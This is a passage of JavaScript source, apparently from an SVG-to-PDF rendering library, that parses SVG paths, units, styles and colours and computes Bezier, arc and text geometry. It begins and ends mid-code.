0; i < selector.tags.length; i++) {\r\n if (selector.tags[i] !== elem.nodeName) {return false;}\r\n }\r\n for (let i = 0; i < selector.ids.length; i++) {\r\n if (selector.ids[i] !== elem.id) {return false;}\r\n }\r\n for (let i = 0; i < selector.classes.length; i++) {\r\n if (elem.classList.indexOf(selector.classes[i]) === -1) {return false;}\r\n }\r\n return true;\r\n }\r\n function getStyle(elem) {\r\n let result = Object.create(null);\r\n let specificities = Object.create(null);\r\n for (let i = 0; i < styleRules.length; i++) {\r\n let rule = styleRules[i];\r\n if (matchesSelector(elem, rule.selector)) {\r\n for (let key in rule.css) {\r\n if (!(specificities[key] > rule.selector.specificity)) {\r\n result[key] = rule.css[key];\r\n specificities[key] = rule.selector.specificity;\r\n }\r\n }\r\n }\r\n }\r\n return result;\r\n }\r\n function combineArrays(array1, array2) {\r\n return array1.concat(array2.slice(array1.length));\r\n }\r\n function getAscent(font, size) {\r\n return Math.max(font.ascender, (font.bbox[3] || font.bbox.maxY) * (font.scale || 1)) * size / 1000;\r\n }\r\n function getDescent(font, size) {\r\n return Math.min(font.descender, (font.bbox[1] || font.bbox.minY) * (font.scale || 1)) * size / 1000;\r\n }\r\n function getXHeight(font, size) {\r\n return (font.xHeight || 0.5 * (font.ascender - font.descender)) * size / 1000;\r\n }\r\n function getBaseline(font, size, baseline, shift) {\r\n let dy1, dy2;\r\n switch (baseline) {\r\n case 'middle': dy1 = 0.5 * getXHeight(font, size); break;\r\n case 'central': dy1 = 0.5 * (getDescent(font, size) + getAscent(font, size)); break;\r\n case 'after-edge': case 'text-after-edge': dy1 = getDescent(font, size); break;\r\n case 'alphabetic': case 'auto': case 'baseline': dy1 = 0; break;\r\n case 'mathematical': dy1 = 0.5 * getAscent(font, size); break;\r\n case 'hanging': dy1 = 0.8 * getAscent(font, size); break;\r\n case 'before-edge': case 'text-before-edge': dy1 = getAscent(font, size); break;\r\n default: dy1 = 0; break;\r\n }\r\n switch (shift) {\r\n case 'baseline': dy2 = 0; break;\r\n case 'super': dy2 = 0.6 * size; break;\r\n case 'sub': dy2 = -0.6 * size; break;\r\n default: dy2 = shift; break;\r\n }\r\n return dy1 - dy2;\r\n }\r\n function getTextPos(font, size, text) {\r\n let encoded = font.encode('' + text), hex = encoded[0], pos = encoded[1], data = [];\r\n for (let i = 0; i < hex.length; i++) {\r\n let unicode = font.unicode ? font.unicode[parseInt(hex[i], 16)] : [text.charCodeAt(i)];\r\n data.push({\r\n glyph: hex[i],\r\n unicode: unicode,\r\n width: pos[i].advanceWidth * size / 1000,\r\n xOffset: pos[i].xOffset * size / 1000,\r\n yOffset: pos[i].yOffset * size / 1000,\r\n xAdvance: pos[i].xAdvance * size / 1000,\r\n yAdvance: pos[i].yAdvance * size / 1000\r\n });\r\n }\r\n return data;\r\n }\r\n function createSVGElement(obj, inherits) {\r\n switch (obj.nodeName) {\r\n case 'use': return new SvgElemUse(obj, inherits);\r\n case 'symbol': return new SvgElemSymbol(obj, inherits);\r\n case 'g': return new SvgElemGroup(obj, inherits);\r\n case 'a': return new SvgElemLink(obj, inherits);\r\n case 'svg': return new SvgElemSvg(obj, inherits);\r\n case 'image': return new SVGElemImage(obj, inherits);\r\n case 'rect': return new SvgElemRect(obj, inherits);\r\n case 'circle': return new SvgElemCircle(obj, inherits);\r\n case 'ellipse': return new SvgElemEllipse(obj, inherits);\r\n case 'line': return new SvgElemLine(obj, inherits);\r\n case 'polyline': return new SvgElemPolyline(obj, inherits);\r\n case 'polygon': return new SvgElemPolygon(obj, inherits);\r\n case 'path': return new SvgElemPath(obj, inherits);\r\n case 'text': return new SvgElemText(obj, inherits);\r\n case 'tspan': return new SvgElemTspan(obj, inherits);\r\n case 'textPath': return new SvgElemTextPath(obj, inherits);\r\n case '#text': case '#cdata-section': return new SvgElemTextNode(obj, inherits);\r\n default: return new SvgElem(obj, inherits);\r\n }\r\n }\r\n\r\n var StringParser = function(str) {\r\n this.match = function(exp, all) {\r\n let temp = str.match(exp);\r\n if (!temp || temp.index !== 0) {return;}\r\n str = str.substring(temp[0].length);\r\n return (all ? temp : temp[0]);\r\n };\r\n this.matchSeparator = function() {\r\n return this.match(/^(?:\\s*,\\s*|\\s*|)/);\r\n };\r\n this.matchSpace = function() {\r\n return this.match(/^(?:\\s*)/);\r\n };\r\n this.matchLengthUnit = function() {\r\n return this.match(/^(?:px|pt|cm|mm|in|pc|em|ex|%|)/);\r\n };\r\n this.matchNumber = function() {\r\n return this.match(/^(?:[-+]?(?:[0-9]+[.][0-9]+|[0-9]+[.]|[.][0-9]+|[0-9]+)(?:[eE][-+]?[0-9]+)?)/);\r\n };\r\n this.matchAll = function() {\r\n return this.match(/^[\\s\\S]+/);\r\n };\r\n };\r\n\r\n var BezierSegment = function(p1x, p1y, c1x, c1y, c2x, c2y, p2x, p2y) {\r\n let divisions = 6 * precision;\r\n let equationX = [p1x, -3 * p1x + 3 * c1x, 3 * p1x - 6 * c1x + 3 * c2x, -p1x + 3 * c1x - 3 * c2x + p2x];\r\n let equationY = [p1y, -3 * p1y + 3 * c1y, 3 * p1y - 6 * c1y + 3 * c2y, -p1y + 3 * c1y - 3 * c2y + p2y];\r\n let derivativeX = [-3 * p1x + 3 * c1x, 6 * p1x - 12 * c1x + 6 * c2x, -3 * p1x + 9 * c1x - 9 * c2x + 3 * p2x];\r\n let derivativeY = [-3 * p1y + 3 * c1y, 6 * p1y - 12 * c1y + 6 * c2y, -3 * p1y + 9 * c1y - 9 * c2y + 3 * p2y];\r\n let lengthMap = [0];\r\n for (let i = 1; i <= divisions; i++) {\r\n let t = (i - 0.5) / divisions;\r\n let dx = getCurveValue(t, derivativeX) / divisions,\r\n dy = getCurveValue(t, derivativeY) / divisions,\r\n l = Math.sqrt(dx * dx + dy * dy);\r\n lengthMap[i] = lengthMap[i - 1] + l;\r\n }\r\n this.totalLength = lengthMap[divisions];\r\n this.startPoint = [p1x, p1y, isEqual(p1x, c1x) && isEqual(p1y, c1y) ? Math.atan2(c2y - c1y, c2x - c1x) : Math.atan2(c1y - p1y, c1x - p1x)];\r\n this.endPoint = [p2x, p2y, isEqual(c2x, p2x) && isEqual(c2y, p2y) ? Math.atan2(c2y - c1y, c2x - c1x) : Math.atan2(p2y - c2y, p2x - c2x)];\r\n this.getBoundingBox = function() {\r\n let temp;\r\n let minX = getCurveValue(0, equationX), minY = getCurveValue(0, equationY),\r\n maxX = getCurveValue(1, equationX), maxY = getCurveValue(1, equationY);\r\n if (minX > maxX) {temp = maxX; maxX = minX; minX = temp;}\r\n if (minY > maxY) {temp = maxY; maxY = minY; minY = temp;}\r\n let rootsX = solveEquation(derivativeX);\r\n for (let i = 0; i < rootsX.length; i++) {\r\n if (rootsX[i] >= 0 && rootsX[i] <= 1) {\r\n let x = getCurveValue(rootsX[i], equationX);\r\n if (x < minX) {minX = x;}\r\n if (x > maxX) {maxX = x;}\r\n }\r\n }\r\n let rootsY = solveEquation(derivativeY);\r\n for (let i = 0; i < rootsY.length; i++) {\r\n if (rootsY[i] >= 0 && rootsY[i] <= 1) {\r\n let y = getCurveValue(rootsY[i], equationY);\r\n if (y < minY) {minY = y;}\r\n if (y > maxY) {maxY = y;}\r\n }\r\n }\r\n return [minX, minY, maxX, maxY];\r\n };\r\n this.getPointAtLength = function(l) {\r\n if (isEqual(l, 0)) {return this.startPoint;}\r\n if (isEqual(l, this.totalLength)) {return this.endPoint;}\r\n if (l < 0 || l > this.totalLength) {return;}\r\n for (let i = 1; i <= divisions; i++) {\r\n let l1 = lengthMap[i-1], l2 = lengthMap[i];\r\n if (l1 <= l && l <= l2) {\r\n let t = (i - (l2 - l) / (l2 - l1)) / divisions,\r\n x = getCurveValue(t, equationX), y = getCurveValue(t, equationY),\r\n dx = getCurveValue(t, derivativeX), dy = getCurveValue(t, derivativeY);\r\n return [x, y, Math.atan2(dy, dx)];\r\n }\r\n }\r\n };\r\n };\r\n\r\n var LineSegment = function(p1x, p1y, p2x, p2y) {\r\n this.totalLength = Math.sqrt((p2x - p1x) * (p2x - p1x) + (p2y - p1y) * (p2y - p1y));\r\n this.startPoint = [p1x, p1y, Math.atan2(p2y - p1y, p2x - p1x)];\r\n this.endPoint = [p2x, p2y, Math.atan2(p2y - p1y, p2x - p1x)];\r\n this.getBoundingBox = function() {\r\n return [Math.min(this.startPoint[0], this.endPoint[0]), Math.min(this.startPoint[1], this.endPoint[1]),\r\n Math.max(this.startPoint[0], this.endPoint[0]), Math.max(this.startPoint[1], this.endPoint[1])];\r\n };\r\n this.getPointAtLength = function(l) {\r\n if (l >= 0 && l <= this.totalLength) {\r\n let r = l / this.totalLength || 0,\r\n x = this.startPoint[0] + r * (this.endPoint[0] - this.startPoint[0]),\r\n y = this.startPoint[1] + r * (this.endPoint[1] - this.startPoint[1]);\r\n return [x, y, this.startPoint[2]];\r\n }\r\n };\r\n };\r\n\r\n var SvgShape = function() {\r\n this.pathCommands = [];\r\n this.pathSegments = [];\r\n this.startPoint = null;\r\n this.endPoint = null;\r\n this.totalLength = 0;\r\n let startX = 0, startY = 0, currX = 0, currY = 0, lastCom, lastCtrlX, lastCtrlY;\r\n this.move = function(x, y) {\r\n startX = currX = x; startY = currY = y;\r\n return null;\r\n };\r\n this.line = function(x, y) {\r\n let segment = new LineSegment(currX, currY, x, y);\r\n currX = x; currY = y;\r\n return segment;\r\n };\r\n this.curve = function(c1x, c1y, c2x, c2y, x, y) {\r\n let segment = new BezierSegment(currX, currY, c1x, c1y, c2x, c2y, x, y);\r\n currX = x; currY = y;\r\n return segment;\r\n };\r\n this.close = function() {\r\n let segment = new LineSegment(currX, currY, startX, startY);\r\n currX = startX; currY = startY;\r\n return segment;\r\n };\r\n this.addCommand = function(data) {\r\n this.pathCommands.push(data);\r\n let segment = this[data[0]].apply(this, data.slice(3));\r\n if (segment) {\r\n segment.hasStart = data[1];\r\n segment.hasEnd = data[2];\r\n this.startPoint = this.startPoint || segment.startPoint;\r\n this.endPoint = segment.endPoint;\r\n this.pathSegments.push(segment);\r\n this.totalLength += segment.totalLength;\r\n }\r\n };\r\n this.M = function(x, y) {\r\n this.addCommand(['move', true, true, x, y]);\r\n lastCom = 'M';\r\n return this;\r\n };\r\n this.m = function(x, y) {\r\n return this.M(currX + x, currY + y);\r\n };\r\n this.Z = this.z = function() {\r\n this.addCommand(['close', true, true]);\r\n lastCom = 'Z';\r\n return this;\r\n };\r\n this.L = function(x, y) {\r\n this.addCommand(['line', true, true, x, y]);\r\n lastCom = 'L';\r\n return this;\r\n };\r\n this.l = function(x, y) {\r\n return this.L(currX + x, currY + y);\r\n };\r\n this.H = function(x) {\r\n return this.L(x, currY);\r\n };\r\n this.h = function(x) {\r\n return this.L(currX + x, currY);\r\n };\r\n this.V = function(y) {\r\n return this.L(currX, y);\r\n };\r\n this.v = function(y) {\r\n return this.L(currX, currY + y);\r\n };\r\n this.C = function(c1x, c1y, c2x, c2y, x, y) {\r\n this.addCommand(['curve', true, true, c1x, c1y, c2x, c2y, x, y]);\r\n lastCom = 'C'; lastCtrlX = c2x; lastCtrlY = c2y;\r\n return this;\r\n };\r\n this.c = function(c1x, c1y, c2x, c2y, x, y) {\r\n return this.C(currX + c1x, currY + c1y, currX + c2x, currY + c2y, currX + x, currY + y);\r\n };\r\n this.S = function(c1x, c1y, x, y) {\r\n return this.C(currX + (lastCom === 'C' ? currX - lastCtrlX : 0), currY + (lastCom === 'C' ? currY - lastCtrlY : 0), c1x, c1y, x, y);\r\n };\r\n this.s = function(c1x, c1y, x, y) {\r\n return this.C(currX + (lastCom === 'C' ? currX - lastCtrlX : 0), currY + (lastCom === 'C' ? currY - lastCtrlY : 0), currX + c1x, currY + c1y, currX + x, currY + y);\r\n };\r\n this.Q = function(cx, cy, x, y) {\r\n let c1x = currX + 2 / 3 * (cx - currX), c1y = currY + 2 / 3 * (cy - currY),\r\n c2x = x + 2 / 3 * (cx - x), c2y = y + 2 / 3 * (cy - y);\r\n this.addCommand(['curve', true, true, c1x, c1y, c2x, c2y, x, y]);\r\n lastCom = 'Q'; lastCtrlX = cx; lastCtrlY = cy;\r\n return this;\r\n };\r\n this.q = function(c1x, c1y, x, y) {\r\n return this.Q(currX + c1x, currY + c1y, currX + x, currY + y);\r\n };\r\n this.T = function(x, y) {\r\n return this.Q(currX + (lastCom === 'Q' ? currX - lastCtrlX : 0), currY + (lastCom === 'Q' ? currY - lastCtrlY : 0), x, y);\r\n };\r\n this.t = function(x, y) {\r\n return this.Q(currX + (lastCom === 'Q' ? currX - lastCtrlX : 0), currY + (lastCom === 'Q' ? currY - lastCtrlY : 0), currX + x, currY + y);\r\n };\r\n this.A = function(rx, ry, fi, fa, fs, x, y) {\r\n if (isEqual(rx, 0) || isEqual(ry, 0)) {\r\n this.addCommand(['line', true, true, x, y]);\r\n } else {\r\n fi = fi * (Math.PI / 180);\r\n rx = Math.abs(rx);\r\n ry = Math.abs(ry);\r\n fa = 1 * !!fa;\r\n fs = 1 * !!fs;\r\n let x1 = Math.cos(fi) * (currX - x) / 2 + Math.sin(fi) * (currY - y) / 2,\r\n y1 = Math.cos(fi) * (currY - y) / 2 - Math.sin(fi) * (currX - x) / 2,\r\n lambda = (x1 * x1) / (rx * rx) + (y1 * y1) / (ry * ry);\r\n if (lambda > 1) {\r\n rx *= Math.sqrt(lambda);\r\n ry *= Math.sqrt(lambda);\r\n }\r\n let r = Math.sqrt(Math.max(0, rx * rx * ry * ry - rx * rx * y1 * y1 - ry * ry * x1 * x1) / (rx * rx * y1 * y1 + ry * ry * x1 * x1)),\r\n x2 = (fa === fs ? -1 : 1) * r * rx * y1 / ry,\r\n y2 = (fa === fs ? 1 : -1) * r * ry * x1 / rx;\r\n let cx = Math.cos(fi) * x2 - Math.sin(fi) * y2 + (currX + x) / 2,\r\n cy = Math.sin(fi) * x2 + Math.cos(fi) * y2 + (currY + y) / 2,\r\n th1 = Math.atan2((y1 - y2) / ry, (x1 - x2) / rx),\r\n th2 = Math.atan2((-y1 - y2) / ry, (-x1 - x2) / rx);\r\n if (fs === 0 && th2 - th1 > 0) {\r\n th2 -= 2 * Math.PI;\r\n } else if (fs === 1 && th2 - th1 < 0) {\r\n th2 += 2 * Math.PI;\r\n }\r\n let segms = Math.ceil(Math.abs(th2 - th1) / (Math.PI / precision));\r\n for (let i = 0; i < segms; i++) {\r\n let th3 = th1 + i * (th2 - th1) / segms,\r\n th4 = th1 + (i + 1) * (th2 - th1) / segms,\r\n t = 4/3 * Math.tan((th4 - th3) / 4);\r\n let c1x = cx + Math.cos(fi) * rx * (Math.cos(th3) - t * Math.sin(th3)) - Math.sin(fi) * ry * (Math.sin(th3) + t * Math.cos(th3)),\r\n c1y = cy + Math.sin(fi) * rx * (Math.cos(th3) - t * Math.sin(th3)) + Math.cos(fi) * ry * (Math.sin(th3) + t * Math.cos(th3)),\r\n c2x = cx + Math.cos(fi) * rx * (Math.cos(th4) + t * Math.sin(th4)) - Math.sin(fi) * ry * (Math.sin(th4) - t * Math.cos(th4)),\r\n c2y = cy + Math.sin(fi) * rx * (Math.cos(th4) + t * Math.sin(th4)) + Math.cos(fi) * ry * (Math.sin(th4) - t * Math.cos(th4)),\r\n endX = cx + Math.cos(fi) * rx * Math.cos(th4) - Math.sin(fi) * ry * Math.sin(th4),\r\n endY = cy + Math.sin(fi) * rx * Math.cos(th4) + Math.cos(fi) * ry * Math.sin(th4);\r\n this.addCommand(['curve', (i === 0), (i === segms - 1), c1x, c1y, c2x, c2y, endX, endY]);\r\n }\r\n }\r\n lastCom = 'A';\r\n return this;\r\n };\r\n this.a = function(rx, ry, fi, fa, fs, x, y) {\r\n return this.A(rx, ry, fi, fa, fs, currX + x, currY + y);\r\n };\r\n this.path = function(d) {\r\n let command, value, temp,\r\n parser = new StringParser((d || '').trim());\r\n while (command = parser.match(/^[astvzqmhlcASTVZQMHLC]/)) {\r\n parser.matchSeparator();\r\n let values = [];\r\n while (value = (PathFlags[command + values.length] ? parser.match(/^[01]/) : parser.matchNumber())) {\r\n parser.matchSeparator();\r\n if (values.length === PathArguments[command]) {\r\n this[command].apply(this, values);\r\n values = [];\r\n if (command === 'M') {command = 'L';}\r\n else if (command === 'm') {command = 'l';}\r\n }\r\n values.push(Number(value));\r\n }\r\n if (values.length === PathArguments[command]) {\r\n this[command].apply(this, values);\r\n } else {\r\n warningCallback('SvgPath: command ' + command + ' with ' + values.length + ' numbers'); return;\r\n }\r\n }\r\n if (temp = parser.matchAll()) {\r\n warningCallback('SvgPath: unexpected string ' + temp);\r\n }\r\n return this;\r\n };\r\n this.getBoundingBox = function() {\r\n let bbox = [Infinity, Infinity, -Infinity, -Infinity];\r\n function addBounds(bbox1) {\r\n if (bbox1[0] < bbox[0]) {bbox[0] = bbox1[0];}\r\n if (bbox1[2] > bbox[2]) {bbox[2] = bbox1[2];}\r\n if (bbox1[1] < bbox[1]) {bbox[1] = bbox1[1];}\r\n if (bbox1[3] > bbox[3]) {bbox[3] = bbox1[3];}\r\n }\r\n for (let i = 0; i < this.pathSegments.length; i++) {\r\n addBounds(this.pathSegments[i].getBoundingBox());\r\n }\r\n if (bbox[0] === Infinity) {bbox[0] = 0;}\r\n if (bbox[1] === Infinity) {bbox[1] = 0;}\r\n if (bbox[2] === -Infinity) {bbox[2] = 0;}\r\n if (bbox[3] === -Infinity) {bbox[3] = 0;}\r\n return bbox;\r\n };\r\n this.getPointAtLength = function(l) {\r\n if (l >= 0 && l <= this.totalLength) {\r\n let temp;\r\n for (let i = 0; i < this.pathSegments.length; i++) {\r\n if (temp = this.pathSegments[i].getPointAtLength(l)) {\r\n return temp;\r\n }\r\n l -= this.pathSegments[i].totalLength;\r\n }\r\n return this.endPoint;\r\n }\r\n };\r\n this.transform = function(m) {\r\n this.pathSegments = [];\r\n this.startPoint = null;\r\n this.endPoint = null;\r\n this.totalLength = 0;\r\n for (let i = 0; i < this.pathCommands.length; i++) {\r\n let data = this.pathCommands.shift();\r\n for (let j = 3; j < data.length; j+=2) {\r\n let p = transformPoint([data[j], data[j + 1]], m)\r\n data[j] = p[0];\r\n data[j + 1] = p[1];\r\n }\r\n this.addCommand(data);\r\n }\r\n return this; \r\n };\r\n this.mergeShape = function(shape) {\r\n for (let i = 0; i < shape.pathCommands.length; i++) {\r\n this.addCommand(shape.pathCommands[i].slice());\r\n }\r\n return this;\r\n };\r\n this.clone = function() {\r\n return new SvgShape().mergeShape(this);\r\n };\r\n this.insertInDocument = function() {\r\n for (let i = 0; i < this.pathCommands.length; i++) {\r\n let command = this.pathCommands[i][0], values = this.pathCommands[i].slice(3);\r\n switch(command) {\r\n case 'move': doc.moveTo(values[0], values[1]); break;\r\n case 'line': doc.lineTo(values[0], values[1]); break;\r\n case 'curve': doc.bezierCurveTo(values[0], values[1], values[2], values[3], values[4], values[5]); break;\r\n case 'close': doc.closePath(); break;\r\n }\r\n }\r\n };\r\n this.getSubPaths = function() {\r\n let subPaths = [], shape = new SvgShape();\r\n for (let i = 0; i < this.pathCommands.length; i++) {\r\n let data = this.pathCommands[i], command = this.pathCommands[i][0];\r\n if (command === 'move' && i !== 0) {\r\n subPaths.push(shape);\r\n shape = new SvgShape();\r\n }\r\n shape.addCommand(data);\r\n }\r\n subPaths.push(shape);\r\n return subPaths;\r\n };\r\n this.getMarkers = function() {\r\n let markers = [], subPaths = this.getSubPaths();\r\n for (let i = 0; i < subPaths.length; i++) {\r\n let subPath = subPaths[i], subPathMarkers = [];\r\n for (let j = 0; j < subPath.pathSegments.length; j++) {\r\n let segment = subPath.pathSegments[j];\r\n if (isNotEqual(segment.totalLength, 0) || j === 0 || j === subPath.pathSegments.length - 1) {\r\n if (segment.hasStart) {\r\n let startMarker = segment.getPointAtLength(0), prevEndMarker = subPathMarkers.pop();\r\n if (prevEndMarker) {startMarker[2] = 0.5 * (prevEndMarker[2] + startMarker[2]);}\r\n subPathMarkers.push(startMarker);\r\n }\r\n if (segment.hasEnd) {\r\n let endMarker = segment.getPointAtLength(segment.totalLength);\r\n subPathMarkers.push(endMarker);\r\n }\r\n }\r\n }\r\n markers = markers.concat(subPathMarkers);\r\n }\r\n return markers;\r\n };\r\n };\r\n\r\n var SvgElem = function(obj, inherits) {\r\n let styleCache = Object.create(null);\r\n let childrenCache = null;\r\n this.name = obj.nodeName;\r\n this.isOuterElement = obj === svg || !obj.parentNode;\r\n this.inherits = inherits || (!this.isOuterElement ? createSVGElement(obj.parentNode, null) : null);\r\n this.stack = (this.inherits ? this.inherits.stack.concat(obj) : [obj]);\r\n this.style = parseStyleAttr(typeof obj.getAttribute === 'function' && obj.getAttribute('style'));\r\n this.css = useCSS ? getComputedStyle(obj) : getStyle(obj);\r\n this.allowedChildren = [];\r\n this.attr = function(key) {\r\n if (typeof obj.getAttribute === 'function') {\r\n return obj.getAttribute(key);\r\n }\r\n };\r\n this.resolveUrl = function(value) {\r\n let temp = (value || '').match(/^\\s*(?:url\\(\"(.*)#(.*)\"\\)|url\\('(.*)#(.*)'\\)|url\\((.*)#(.*)\\)|(.*)#(.*))\\s*$/) || [];\r\n let file = temp[1] || temp[3] || temp[5] || temp[7],\r\n id = temp[2] || temp[4] || temp[6] || temp[8];\r\n if (id) {\r\n if (!file) {\r\n let svgObj = svg.getElementById(id);\r\n if (svgObj) {\r\n if (this.stack.indexOf(svgObj) === -1) {\r\n return svgObj;\r\n } else {\r\n warningCallback('SVGtoPDF: loop of circular references for id \"' + id + '\"');\r\n return;\r\n }\r\n }\r\n }\r\n if (documentCallback) {\r\n let svgs = documentCache[file];\r\n if (!svgs) {\r\n svgs = documentCallback(file);\r\n if (!isArrayLike(svgs)) {svgs = [svgs];}\r\n for (let i = 0; i < svgs.length; i++) {\r\n if (typeof svgs[i] === 'string') {svgs[i] = parseXml(svgs[i]);}\r\n }\r\n documentCache[file] = svgs;\r\n }\r\n for (let i = 0; i < svgs.length; i++) {\r\n let svgObj = svgs[i].getElementById(id);\r\n if (svgObj) {\r\n if (this.stack.indexOf(svgObj) === -1) {\r\n return svgObj;\r\n } else {\r\n warningCallback('SVGtoPDF: loop of circular references for id \"' + file + '#' + id + '\"');\r\n return;\r\n }\r\n }\r\n }\r\n }\r\n }\r\n };\r\n this.computeUnits = function(value, unit, percent, isFontSize) {\r\n if (unit === '%') {\r\n return parseFloat(value) / 100 * (isFontSize || percent != null ? percent : this.getViewport());\r\n } else if (unit === 'ex' || unit === 'em') {\r\n return value * {'em':1, 'ex':0.5}[unit] * (isFontSize ? percent : this.get('font-size'));\r\n } else {\r\n return value * {'':1, 'px':1, 'pt':96/72, 'cm':96/2.54, 'mm':96/25.4, 'in':96, 'pc':96/6}[unit];\r\n }\r\n };\r\n this.computeLength = function(value, percent, initial, isFontSize) {\r\n let parser = new StringParser((value || '').trim()), temp1, temp2;\r\n if (typeof (temp1 = parser.matchNumber()) === 'string' && typeof (temp2 = parser.matchLengthUnit()) === 'string' && !parser.matchAll()) {\r\n return this.computeUnits(temp1, temp2, percent, isFontSize);\r\n }\r\n return initial;\r\n };\r\n this.computeLengthList = function(value, percent, strict) {\r\n let parser = new StringParser((value || '').trim()), result = [], temp1, temp2;\r\n while (typeof (temp1 = parser.matchNumber()) === 'string' && typeof (temp2 = parser.matchLengthUnit()) === 'string') {\r\n result.push(this.computeUnits(temp1, temp2, percent));\r\n parser.matchSeparator();\r\n }\r\n if (strict && parser.matchAll()) {return;}\r\n return result;\r\n };\r\n this.getLength = function(key, percent, initial) {\r\n return this.computeLength(this.attr(key), percent, initial);\r\n };\r\n this.getLengthList = function(key, percent) {\r\n return this.computeLengthList(this.attr(key), percent);\r\n };\r\n this.getUrl = function(key) {\r\n return this.resolveUrl(this.attr(key))\r\n };\r\n this.getNumberList = function(key) {\r\n let parser = new StringParser((this.attr(key) || '').trim()), result = [], temp;\r\n while (temp = parser.matchNumber()) {\r\n result.push(Number(temp));\r\n parser.matchSeparator();\r\n }\r\n result.error = parser.matchAll();\r\n return result;\r\n }\r\n this.getViewbox = function(key, initial) {\r\n let viewBox = this.getNumberList(key);\r\n if (viewBox.length === 4 && viewBox[2] >= 0 && viewBox[3] >= 0) {return viewBox;}\r\n return initial;\r\n };\r\n this.getPercent = function(key, initial) {\r\n let value = this.attr(key);\r\n let parser = new StringParser((value || '').trim()), temp1, temp2;\r\n let number = parser.matchNumber();\r\n if (!number) {return initial;}\r\n if (parser.match('%')) {number *= 0.01;}\r\n if (parser.matchAll()) {return initial;}\r\n return Math.max(0, Math.min(1, number));\r\n };\r\n this.chooseValue = function(args) {\r\n for (let i = 0; i < arguments.length; i++) {\r\n if (arguments[i] != null && arguments[i] === arguments[i]) {return arguments[i];}\r\n }\r\n return arguments[arguments.length - 1];\r\n };\r\n this.get = function(key) {\r\n if (styleCache[key] !== undefined) {return styleCache[key];}\r\n let keyInfo = Properties[key] || {}, value, result;\r\n for (let i = 0; i < 3; i++) {\r\n switch (i) {\r\n case 0:\r\n if (key !== 'transform') { // the CSS transform behaves strangely\r\n value = this.css[keyInfo.css || key];\r\n }\r\n break;\r\n case 1:\r\n value = this.style[key];\r\n break;\r\n case 2:\r\n value = this.attr(key);\r\n break;\r\n }\r\n if (value === 'inherit') {\r\n result = (this.inherits ? this.inherits.get(key) : keyInfo.initial);\r\n if (result != null) {return styleCache[key] = result;}\r\n }\r\n if (keyInfo.values != null) {\r\n result = keyInfo.values[value];\r\n if (result != null) {return styleCache[key] = result;}\r\n }\r\n if (value != null) {\r\n let parsed;\r\n switch (key) {\r\n case 'font-size':\r\n result = this.computeLength(value, this.inherits ? this.inherits.get(key) : keyInfo.initial, undefined, true);\r\n break;\r\n case 'baseline-shift':\r\n result = this.computeLength(value, this.get('font-size'));\r\n break;\r\n case 'font-family':\r\n result = value || undefined;\r\n break;\r\n case 'opacity': case 'stroke-opacity': case 'fill-opacity': case 'stop-opacity':\r\n parsed = parseFloat(value);\r\n if (!isNaN(parsed)) {\r\n result = Math.max(0, Math.min(1, parsed));\r\n }\r\n break;\r\n case 'transform':\r\n result = parseTranform(value);\r\n break;\r\n case 'stroke-dasharray':\r\n if (value === 'none') {\r\n result = [];\r\n } else if (parsed = this.computeLengthList(value, this.getViewport(), true)) {\r\n let sum = 0, error = false;\r\n for (let j = 0; j < parsed.length; j++) {\r\n if (parsed[j] < 0) {error = true;}\r\n sum += parsed[j];\r\n }\r\n if (!error) {\r\n if (parsed.length % 2 === 1) {\r\n parsed = parsed.concat(parsed);\r\n }\r\n result = (sum === 0 ? [] : parsed);\r\n }\r\n }\r\n break;\r\n case 'color':\r\n if (value === 'none' || value === 'transparent') {\r\n result = 'none';\r\n } else {\r\n result = parseColor(value);\r\n }\r\n break;\r\n case 'fill': case 'stroke':\r\n if (value === 'none' || value === 'transparent') {\r\n result = 'none';\r\n } else if (value === 'currentColor') {\r\n result = this.get('color');\r\n } else if (parsed = parseColor(value)) {\r\n return parsed;\r\n } else if (parsed = (value || '').split(' ')) {\r\n let object = this.resolveUrl(parsed[0]),\r\n fallbackColor = parseColor(parsed[1]);\r\n if (object == null) {\r\n result = fallbackColor;\r\n } else if (object.nodeName === 'linearGradient' || object.nodeName === 'radialGradient') {\r\n result = new SvgElemGradient(object, null, fallbackColor);\r\n } else if (object.nodeName === 'pattern') {\r\n result = new SvgElemPattern(object, null, fallbackColor);\r\n } else {\r\n result = fallbackColor;\r\n }\r\n }\r\n break;\r\n case 'stop-color':\r\n if (value === 'none' || value === 'transparent') {\r\n result = 'none';\r\n } else if (value === 'currentColor') {\r\n result = this.get('color');\r\n } else {\r\n result = parseColor(value);\r\n }\r\n break;\r\n case 'marker-start': case 'marker-mid': case 'marker-end': case 'clip-path': case 'mask':\r\n if (value === 'none') {\r\n result = 'none';\r\n } else {\r\n result = this.resolveUrl(value);\r\n }\r\n break;\r\n case 'stroke-width':\r\n parsed = this.computeLength(value, this.getViewport());\r\n if (parsed != null && parsed >= 0) {\r\n result = parsed;\r\n }\r\n break;\r\n case 'stroke-miterlimit':\r\n parsed = parseFloat(value);\r\n if (parsed != null && parsed >= 1) {\r\n result = parsed;\r\n }\r\n break;\r\n case 'word-spacing': case 'letter-spacing':\r\n result = this.computeLength(value, this.getViewport());\r\n break;\r\n case 'stroke-dashoffset':\r\n result = this.computeLength(value, this.getViewport());\r\n if (result != null) {\r\n if (result < 0) { // fix for crbug.com/660850\r\n let dasharray = this.get('stroke-dasharray');\r\n for (let j = 0; j < dasharray.length; j++) {result += dasharray[j];}\r\n }\r\n }\r\n break;\r\n }\r\n if (result != null) {return styleCache[key] = result;}\r\n }\r\n }\r\n return styleCache[key] = (keyInfo.inherit && this.inherits ? this.inherits.get(key) : keyInfo.initial);\r\n };\r\n this.getChildren = function() {\r\n if (childrenCache != null) {return childrenCache;}\r\n let children = [];\r\n for (let i = 0; i < obj.childNodes.length; i++) {\r\n let child = obj.childNodes[i];\r\n if (!child.error && this.allowedChildren.indexOf(child.nodeName) !== -1) {\r\n children.push(createSVGElement(child, this));\r\n }\r\n }\r\n return childrenCache = children;\r\n };\r\n this.getParentVWidth = function() {\r\n return (this.inherits ? this.inherits.getVWidth(): viewportWidth);\r\n };\r\n this.getParentVHeight = function() {\r\n return (this.inherits ? this.inherits.getVHeight() : viewportHeight);\r\n };\r\n this.getParentViewport = function() {\r\n return Math.sqrt(0.5 * this.getParentVWidth() * this.getParentVWidth() + 0.5 * this.getParentVHeight() * this.getParentVHeight());\r\n };\r\n this.getVWidth = function() {\r\n return this.getParentVWidth();\r\n };\r\n this.getVHeight = function() {\r\n return this.getParentVHeight();\r\n };\r\n this.getViewport = function() {\r\n return Math.sqrt(0.5 * this.getVWidth() * this.getVWidth() + 0.5 * this.getVHeight() * this.getVHeight());\r\n };\r\n this.getBoundingBox = function() {\r\n let shape = 